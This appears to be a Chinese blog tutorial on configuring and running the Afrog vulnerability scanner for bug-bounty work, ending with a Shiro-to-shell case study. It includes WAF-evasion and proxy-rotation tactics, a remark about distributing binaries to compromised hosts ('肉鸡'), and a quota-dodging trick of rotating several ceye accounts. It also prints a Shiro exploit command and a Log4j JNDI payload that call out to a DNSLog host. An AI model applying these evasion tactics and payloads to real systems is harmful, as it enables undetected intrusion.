作者备注:pps-key "活着才有输出"的血泪史。代码里的"怂了"和"莽了"都是真实心理活动,不是剧本。
一、Afrog是什么?一个让我又爱又恨的Go语言畜生
官方定义:高性能漏洞扫描器,支持3900+ PoC,适合红队/赏金猎人。
pps-key真实感受 :这玩意儿扫描速度像火箭,误报率像天使,但配置不好就是IP自爆卡车。
教训:某次用默认参数扫公益SRC,5分钟触发WAF,IP被封到2035年。
2. 安装:别用go install,要手动编译(可控)
bash
# 错误示范(版本不可控)
go install -v github.com/zan8in/afrog/v3/cmd/afrog@latest
# pps-key的正确姿势(指定版本,出了问题知道回滚到哪)
git clone --depth 1 https://github.com/zan8in/afrog.git
cd afrog
# 关键:修改默认配置,降低扫描强度(保命)
# TODO: 写个脚本自动给所有PoC加sleep
# FIXME: 下面的sed命令在macOS下不兼容,得用gsed
# 修改默认并发(从50降到10,怂了)
sed -i 's/Concurrency: 50/Concurrency: 10/' pkg/config/config.go
# 修改默认rate-limit(从100降到30,又怂了)
sed -i 's/RateLimit: 100/RateLimit: 30/' pkg/config/config.go
# 编译(静态链接,方便分发到肉鸡)
CGO_ENABLED=0 go build -ldflags="-s -w" -o afrog-pps cmd/afrog/main.go
# 验证版本
./afrog-pps --version
# 输出:afrog version 3.0.5 (pps-key怂人定制版)
# 创建软链接
sudo ln -sf $(pwd)/afrog-pps /usr/local/bin/afrog-pps
3. 配置:反向平台是生命线,不是可选项
3.1 配置ceye.io(无回显漏洞的救星)
不配置的后果:扫Log4j、Fastjson这些无回显漏洞,Afrog会漏报90%。
bash
# 启动Afrog生成配置目录
afrog-pps --help
# 编辑配置(第一次运行后才会创建)
vim $HOME/.config/afrog/afrog-config.yaml
# 填入ceye(记得去ceye.io注册,免费的)
reverse:
ceye:
api-key: "你的key(别tm用我的)"
domain: "你的子域名.ceye.io"
# pps-key经验:ceye的免费额度每小时100次,扫大目标会爆
# 解决方案:注册3个账号,配置里轮流用(猥琐但有效)
# TODO: 开发一个ceye额度监控插件,自动切换账号
3.2 我的保命配置文件(扫SRC专用)
bash
# ~/.config/afrog/afrog-pps-srconly.yaml
# pps-key注:这个配置扫公益SRC,0告警
# 扫描配置
scan:
# 并发数:3是WAF的感知下限,4就可能被统计
concurrency: 3
# 速率限制:每秒3个请求,人类正常浏览速度
rate-limit: 3
# 超时:30秒,慢速网络也等
timeout: 30
# 重试:1次,失败就放弃(怂到家)
max-retries: 1
# 报告配置
report:
# 只报告high和critical,减少噪音
severity: high,critical
# 输出到pps-key-srv-日期.html,防止覆盖
output: pps-key-srv-{{date}}.html
# 代理配置(扫敏感目标必用)
proxy:
# 代理池:3个代理轮流用,IP分散
# TODO: 代理失效自动切换(目前手动改配置,麻烦)
url:
- http://proxy1:7890
- http://proxy2:7890
- socks5://proxy3:1080
# pps-key哲学:活着才有输出,慢就是快
# FIXME: 配置不支持热重载,改完必须重启Afrog
使用配置:
bash
# 指定配置文件启动
afrog-pps -t http://target.com -c ~/.config/afrog/afrog-pps-srconly.yaml
4. 基础扫描:从"莽夫"到"老六"的进化
4.1 单目标扫描(标准流程)
bash
# 错误示范(莽夫行为,默认50并发)
afrog-pps -t http://target.com
# pps-key的正确"老六"流程:
# 步骤1:DNS解析(确认目标存活)
dig target.com +short
# 步骤2:端口探测(nmap先扫,别浪费Afrog时间)
nmap -sS -T4 -p 80,443,8080 target.com
# 步骤3:Afrog"温柔扫描"(检测到WAF自动降速)
afrog-pps -t http://target.com \
--rate-limit 5 \
--concurrency 3 \
--timeout 30 \
--severity high,critical \
-o target_pps.html
# 步骤4:监控实时日志(看是否被WAF拦截)
tail -f ~/.config/afrog/afrog.log | grep "blocked\|waf\|403\|429"
# 关键参数说明(每个都是血):
# --rate-limit 5: 每秒5请求,手机4G网速,WAF认为是真人
# --concurrency 3: 并发3,浏览器开3个标签页的水平
# --severity high,critical: 只报高危,减少噪音和扫描时间
# -o target_pps.html: 输出带pps标记,防止和团队其他人混淆
# pps-key教训:扫之前先手动浏览器访问,看响应时间
# 如果打开网页要3秒,Afrog的timeout必须>30秒,否则会漏掉慢速漏洞
4.2 批量扫描(SRC冲排名版)
bash
# urls.txt格式(每行一个,带协议)
http://target1.com
https://target2.com:8443/path
http://192.168.1.1:8080
# pps-key的"分散火力"策略:
# 把urls.txt拆成10份,每份50个,开10个tmux窗口同时扫
# 这样即使一个IP被封,另外9个还能跑
# 拆分文件
split -l 50 urls.txt urls_chunk_
# 批量扫描脚本(pps-key亲测,冲公益SRC排名神器)
#!/bin/bash
# pps-key-batch-scan.sh
for chunk in urls_chunk_*; do
# 每批间隔5分钟启动,模拟人类作息
sleep 300
# 每个窗口用不同代理(避免IP集中)
proxy_port=$((7890 + RANDOM % 10))
nohup afrog-pps -T $chunk \
--rate-limit 3 \
--concurrency 2 \
--proxy http://127.0.0.1:$proxy_port \
-o result_${chunk}.html \
> ${chunk}.log 2>&1 &
done
# 监控进度
watch 'ls -lt result_*.html | head -20'
# pps-key哲学:批量扫描的核心是"分散"和"休眠"
# 分散:IP分散、时间分散、代理分散
# 休眠:让WAF统计窗口过期(大多数WAF统计1分钟内的请求频次)
5. 高级技巧:从"活着"到"活得好"
5.1 关键字精准打击(赏金猎人模式)
bash
# 只扫log4j相关漏洞(专项突破)
afrog-pps -t http://target.com -s log4j -o log4j_only.html
# 扫Spring全家桶漏洞(近几年高危集中地)
afrog-pps -t http://target.com -s spring,shiro,fastjson -o java_kill.html
# pps-key经验:关键字扫描速度提升10倍,误报率下降90%
# 关键在-s参数的选取,这得靠经验积累
# TODO: 开发一个关键词推荐引擎,根据目标技术栈自动推荐
# FIXME: -s不支持正则,得手动写脚本过滤poc目录
# 查看所有可搜关键词(pps-key的骚操作)
ls ~/.afrog/pocs/ | grep -v ".yaml" | sort | uniq -c | sort -nr
# 输出:
# 234 weblogic
# 189 struts
# 165 thinkphp
# ... 这些就是高频关键词
5.2 联动Xray:双引擎交叉验证
bash
# pps-key独家配方:Afrog扫完,Xray再扫,结果取交集
# 这样能过滤掉90%的误报
# 步骤1:Afrog扫描(高并发,快速过一遍)
afrog-pps -t http://target.com \
--concurrency 50 \
--rate-limit 100 \
-o afrog_fast.html
# 步骤2:提取Afrog发现的URL(pps-key的提取脚本)
#!/bin/bash
# extract_afrog_urls.sh
grep -oP 'href="\K[^"]+' afrog_fast.html > afrog_urls.txt
# 步骤3:Xray被动扫描(低速、高精度)
xray webscan --url-file afrog_urls.txt \
--html-output xray_slow.html
# 步骤4:人工看两个报告,取交集
# pps-key哲学:Afrog是"广撒网",Xray是"精养鱼"
# 两者结合,误报率<5%
6. Web持久化:忘记HTML,用SQLite
bash
# 启动Web服务,所有结果入库
afrog-pps -web
# 默认监听0.0.0.0:16868,浏览器打开
# 支持:搜索、筛选、分页、导出
# pps-key的骚操作:
# 1. 在VPS上运行,团队共享访问
nohup afrog-pps -web > web.log 2>&1 &
# 2. 用Nginx反向代理,加Basic Auth
# 防止未授权访问(扫到的漏洞被别人看了就社死)
# 3. 定时备份数据库
# Afrog使用SQLite,数据库在~/.config/afrog/afrog.db
0 2 * * * cp ~/.config/afrog/afrog.db /backup/afrog_$(date+\%Y\%m\%d).db
# TODO: 开发Web端的统计看板,显示漏洞趋势、Top10类型
# FIXME: SQLite并发写入会锁表,多节点扫同时写会报错
# 解决方案:每个扫描节点配独立数据库,事后合并
7. 实战案例:从Afrog到GetShell
背景 :某公益SRC,目标http://target.edu.cn,授权测试
bash
# 步骤1:信息收集(先别上Afrog,容易被封)
# 用Wappalyzer识别技术栈:SpringBoot + Shiro
# 步骤2:针对性扫描(关键词精确打击)
afrog-pps -t http://target.edu.cn \
-s shiro,spring,log4j \
--rate-limit 5 \
-o target_vulns.html
# 结果:发现Shiro rememberMe反序列化漏洞(高危)
# 步骤3:手动验证(Afrog只能发现,不能利用)
# 用rememberMe检测工具验证
java -jar shiro_tool.jar http://target.edu.cn
# 步骤4:利用漏洞(不出网环境,用DNSLog)
# 生成Payload
python shiro_poc.py -u http://target.edu.cn -c "ping ppskey.ceye.io"
# ceye.io收到DNS请求,确认漏洞存在
# 步骤5:写报告,提交SRC
# pps-key心得:Afrog是"眼睛",手工是"手"
# 眼睛发现目标,手完成最后的攻击
# 只依赖工具=扫描器,人机结合=渗透测试工程师
8. pps-key的禁忌与忏悔(必读)
❌ 永远不要做的事:
-
不要用默认并发扫政府网站
-
后果:IP被封 + 电话喝茶
-
正确:
-concurrency 1 --rate-limit 1(伪装成爬虫)
-
-
不要扫医院/交通/能源等关键基础设施
-
即使授权,也可能触发应急响应
-
前辈教训:扫某医院备案系统,触发了护网应急响应,被通报批评
-
-
不要忽略
--severity参数-
默认扫所有等级,info级别的漏洞报告有几百页
-
甲方看到info多,会觉得你"刷低危凑数"
-
正确:只报high和critical,保持报告精简
-
-
不要扫描频率>10 req/s
-
WAF的统计窗口通常是1分钟
-
600请求/分钟=人类不可能=拉黑
-
pps-key保命线:
--rate-limit 5(300请求/分钟=正常爬虫)
-
✅ pps-key的"三从四德":
bash
# 从慢:--rate-limit 3
# 从少:--severity high,critical
# 从分散:--concurrency 2 + 代理池
# 有德:拿到授权再扫
# 有节:周一到周五9-18点扫(工作时间)
# 有量:控制报告页数<20页
# 有理:每个漏洞都能复现,不猜
9. 报告解读:给甲方讲"人话"
Afrog生成的HTML报告,pps-key的"翻译"模板:
原始报告:
[High] Apache Log4j2 JNDI RCE
URL: http://target.com/login
Parameter: username
给甲方的描述:
漏洞名称:Log4j2 远程代码执行(可GetShell)
风险等级:高危
利用难度:低(有公开利用工具)
测试过程:
1. 在登录框用户名处输入Payload:${jndi:ldap://xxx.ceye.io/a}
2. DNSLog平台收到请求,确认存在JNDI注入
3. 可进一步利用执行系统命令,获取服务器权限
修复建议:
1. 升级Log4j2到2.17.1或以上版本
2. 添加JVM参数:-Dlog4j2.formatMsgNoLookups=true
3. 云WAF临时规则拦截:${jndi:
pps-key注:建议立即修复,此漏洞在野外被大规模利用
10. 总结:Afrog是"双截棍",不是"机关枪"
pps-key的Afrog哲学:
-
快是原罪:默认参数是为作者自己机器设计的,不是给你扫公网的
-
配置>PoC:正确的配置比3900个PoC更重要(没配置好,一个都扫不到)
-
活着才有DPS:IP被封了,PoC再多都是0输出
终极心法 :把Afrog当成精确制导武器 ,不是地毯式轰炸机。指定目标、降低当量、隐蔽发射,才能活下来。
作者签名:pps-key - 慢即是快"